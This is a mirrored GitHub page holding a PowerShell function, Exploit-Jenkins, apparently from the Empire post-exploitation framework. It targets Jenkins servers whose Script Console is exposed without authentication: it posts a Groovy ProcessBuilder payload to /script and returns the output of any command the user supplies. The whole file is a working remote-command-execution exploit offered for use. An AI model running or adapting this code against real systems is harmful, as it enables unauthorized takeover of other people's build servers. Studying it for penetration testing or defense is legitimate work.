mirror of
https://github.com/EmpireProject/Empire
synced 2026-06-08 10:58:16 +00:00
Lux Cupitor
76 lines
2.4 KiB
PowerShell
76 lines
2.4 KiB
PowerShell
function Exploit-Jenkins() {
|
|
<#
|
|
.SYNOPSIS
|
|
PowerShell delivery for unauthenticated access to Jenkins Script Console
|
|
|
|
.PARAMETER Rhost.
|
|
Host to exploit
|
|
|
|
.PARAMETER Port
|
|
Port to use.
|
|
|
|
.PARAMETER Cmd
|
|
Command to run on remote Jenkins Script Console
|
|
|
|
.EXAMPLE
|
|
Exploit-Jenkins -Rhost 127.0.0.1 -Port 8080 -Cmd whoami
|
|
Exploit-Jenkins -Rhost 127.0.0.1 -Port 8080 -Cmd "cmd /c netstat -an"
|
|
|
|
.LINK
|
|
http://twitter.com/luxcupitor
|
|
#>
|
|
|
|
[CmdletBinding()]
|
|
param(
|
|
[Parameter(Mandatory=$True)]
|
|
[string] $Rhost,
|
|
[Parameter(Mandatory=$True)]
|
|
[string] $Cmd,
|
|
[Parameter(Mandatory=$False)]
|
|
[Int] $Port
|
|
)
|
|
Add-Type -Assembly System.Web
|
|
$url = "http://"+$($Rhost)+":"+$($Port)+"/script"
|
|
|
|
$cookiejar = New-Object System.Net.CookieContainer
|
|
$Cmd = $Cmd -replace "\s","','"
|
|
$Cmd = [System.Web.HttpUtility]::UrlEncode($Cmd)
|
|
# Login
|
|
$webrequest = [System.Net.HTTPWebRequest]::Create($url);
|
|
$webrequest.CookieContainer = New-Object System.Net.CookieContainer;
|
|
$webrequest.Method = "GET"
|
|
$webrequest.Credentials = $credCache
|
|
if ($cookiejar -ne $null) { $webrequest.CookieContainer = $cookiejar }
|
|
$response = $webrequest.GetResponse()
|
|
$responseStream = $response.GetResponseStream()
|
|
$streamReader = New-Object System.IO.Streamreader($responseStream)
|
|
$output = $streamReader.ReadToEnd()
|
|
|
|
|
|
$postdata="script=println+new+ProcessBuilder%28%27"+$($Cmd)+"%27%29.redirectErrorStream%28true%29.start%28%29.text&Submit=Run"
|
|
$bytearray = [System.Text.Encoding]::UTF8.GetBytes($postdata)
|
|
|
|
# Second request
|
|
$webrequest = [System.Net.HTTPWebRequest]::Create($url)
|
|
$webrequest.Credentials = $credCache
|
|
if ($cookiejar -ne $null) { $webrequest.CookieContainer=$cookiejar }
|
|
$webrequest.Method = "POST"
|
|
$webrequest.ContentType = "application/x-www-form-urlencoded"
|
|
$webrequest.ContentLength = $bytearray.Length
|
|
$requestStream = $webrequest.GetRequestStream()
|
|
|
|
# Post data
|
|
$requestStream.Write($bytearray, 0, $bytearray.Length)
|
|
$requestStream.Close()
|
|
$response = $webrequest.GetResponse()
|
|
$responseStream = $response.GetResponseStream()
|
|
|
|
# Get Response
|
|
$streamReader = New-Object System.IO.Streamreader($responseStream)
|
|
$output = $streamReader.ReadToEnd()
|
|
$null = $output -match "Result</h2><pre>((?si).+?)</pre>"
|
|
#Write-Output $matches[1]
|
|
#return $output
|
|
return $matches[1]
|
|
}
|